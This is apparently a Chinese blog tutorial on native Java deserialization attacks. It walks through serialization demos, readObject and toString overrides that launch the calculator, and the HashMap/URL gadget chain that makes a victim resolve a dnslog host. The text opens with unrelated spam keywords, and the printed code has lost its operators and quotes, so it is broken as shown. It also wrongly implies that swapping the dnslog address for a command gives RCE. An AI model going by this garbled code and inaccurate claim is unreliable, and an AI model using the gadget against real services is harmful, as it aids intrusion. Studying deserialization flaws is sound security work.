滕州建网站哪家好,免费自动取名100个,东莞市建,佳源房地产最新消息前言
在Java安全中反序列化是一个非常重要点#xff0c;有原生态的反序列化#xff0c;还有一些特定漏洞情况下的。今天主要讲一下原生态的反序列化#xff0c;这部分内容对于没Java基础的来说可能有点难#xff0c;包括我。
序列化与反序列化
序列化#xff1a;将内存…前言
在Java安全中反序列化是一个非常重要点有原生态的反序列化还有一些特定漏洞情况下的。今天主要讲一下原生态的反序列化这部分内容对于没Java基础的来说可能有点难包括我。
序列化与反序列化
序列化将内存中的对象压缩成字节流 反序列化将字节流转化成内存中的对象
简单来说就是把对象转换为字节流方便存储在文件、数据库等。 Java里面常见的序列化与反序列化协议。
JAVA内置的writeObject()/readObject()
JAVA内置的XMLDecoder()/XMLEncoder
XStream
SnakeYaml
FastJson
Jackson
假如我要传输这一串代码直接复制的话肯定不行因为里面有大量的空格和换行直接复制会出错的。所以就要用到序列化把它加密成一串字节流进行传输然后再反序列化解密还原成代码即可。 原生反序列化
Java新建一个项目叫serialization。 随便选个版本即可。 创建一个user类并写入代码。 再创建一个类叫serialization_demo用来实现序列化操作的。简单来说代码就是把我们的user类里面的对象进行序列化操作并且把结果写入ser.txt里面。
package com.sf.maven.serialization;public class serialization_demo {public static void main(String[] args) throws IOException {// 创建一个用户对象引用UserDemouser u new user(wlw, gay, 30);// 调用方法进行序列化SerializableTest(u);// ser.txt 就是对象u序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {// 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txtObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.txt));//序列化操作oos.writeObject(obj);// 关闭流oos.close();}
}直接运行可以看到输入了我们的对象。 在旁边的目录下可以看到一个ser.txt文件打开发现里面是字节流这个ser.txt就是user对象序列化的结果。 我们再来试试反序列化看看能不能把字节流还原。先创建一个类叫Unserialization_demo写入以下代码就是从ser.txt读取字节流再反序列还原输出。
package com.sf.maven.serialization;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Unserialization_demo {public static void main(String[] args) throws IOException, ClassNotFoundException {// 调用下面的方法传输 ser.txt解析还原反序列化Object obj UnserializableTest(ser.txt);// 对 obj 对象进行输出默认调用原始对象的 toString 方法System.out.println(obj);}// 反序列化方法public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {// 读取 Filename 文件进行反序列化还原ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object o ois.readObject();// 返回反序列化后的对象return o;}}直接运行好吧可以看到输出了对象数据。 这就是原生的序列化和反序列化操作就是把数据转换成字节流然后再封装成一个文件然后再还原。
重写方法
OK那么现在我们来讲一下怎么利用这个玩意我们可以看到readObject()这个方法是来自ObjectinputStream.java这个文件。 而这个Java文件是来自src.zip里面是我们JDK自带的东西。 现在我们来重写这个readObject这个方法什么意思呢就是当我们进行反序列化的时候不是会调用JDK自带的readObject()吗那现在我们自己写一个readObject方法让它在进行反序列的时候去调用我们自己写的readObject而不是调用JDK自带的readObject。
在我们的user类里面加入重写readObject的代码就是命令执行计算机。 重新对user进行序列化生成新的ser.txt文件。 再对ser.txt进行反序列化成功弹出了计算机说明我们重写的方法有用在反序列化的时候它执行的是user里面我们自己写的readObject而不是JDK自带的。 我们来步入跟进一下代码为了直观我们在readObject添加一行代码。 设置一个断点进行调试。 点击步入可以看到此时的Filename等于我们的ser.txt。 继续步入执行到我们的ObjectInputStream读取文件这里。 接着步入跳到了ObjectInputStream.java类这里。 此时我们步出回到了这里。 接着步入让它调用readObject。 关键的来了此时我们再步入的话跳转到了我们的user.java里面的readObject而不是ObjectinputStream里面的readObject。 toString
上面我们说的方法是属于入口类的readObject危险方法直接调用我也没搞懂为啥叫这个名字还有方法就是—构造函数/静态代码块等类加载时隐式执行说实话好绕口啊。其实我感觉两个都差不多我们先在user里面重写一下toString。 把我们上面重写的readObject注释掉重新序列化生成一个ser.txt。 再执行反序列化代码对ser.txt还原此时也弹出了计算机。 这是为啥原来当我们用System.out.println()进行输出的时候会默认调用toString方法而toString我们上面添加了启动计算机的命令代码。 HashMap
还有就是如果我们使用的类里面自带readObject方法会不会触发呢HashMap这个类里面就自带readObject我们用它试一下。先创建一个类叫HashMap_demo写入以下代码就是对hash这个对象进行序列化并输出到url.txt然后再反序列化。
package com.sf.maven.serialization;
import java.io.*;
import java.net.URL;
import java.util.HashMap;public class HashMap_demo implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException{HashMapURL, Integer hash new HashMap();URL u new URL(dnslog地址);hash.put(u, 1);//序列化SerializableTest(hash);//反序列化//UnserializableTest(url.txt);}public static void SerializableTest(Object obj) throws IOException {// 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 url.txtObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(url.txt));//序列化操作oos.writeObject(obj);oos.close();}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {// 读取 Filename 文件进行反序列化还原ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object o ois.readObject();return o;}
}直接运行代码先序列化生成一个url.txt。 接着对url.txt进行反序列可以看到dnslog有回显说明代码对dnslog进行了解析。 这是咋回事呢直接来看一下这个利用链。我们引用了HashMap — readObject本来在ObjectInputStream里面 — 但是HashMap里面也有readObject — 所以在反序列化的时候调用的是HashMap的readObject而不是ObjectInputStream的readObject—触发HashMap.putVal() — 触发HashMap.hash() — 最终触发URL.hashCode()去访问我们dnslog地址。 如果把dnslog地址换成命令不就是RCE漏洞了吗这种就是入口参数包含可控类改类有危险方法readObject时调用。
总结
虽然今天的内容看起来有点复杂但总结起来就一件事想办法调用其它的readObject而不是去调用原本的readObject。
最后还是要声明一下以上仅为个人的拙见如何有不对的地方欢迎各位师傅指正与补充有兴趣的师傅可以一起交流学习。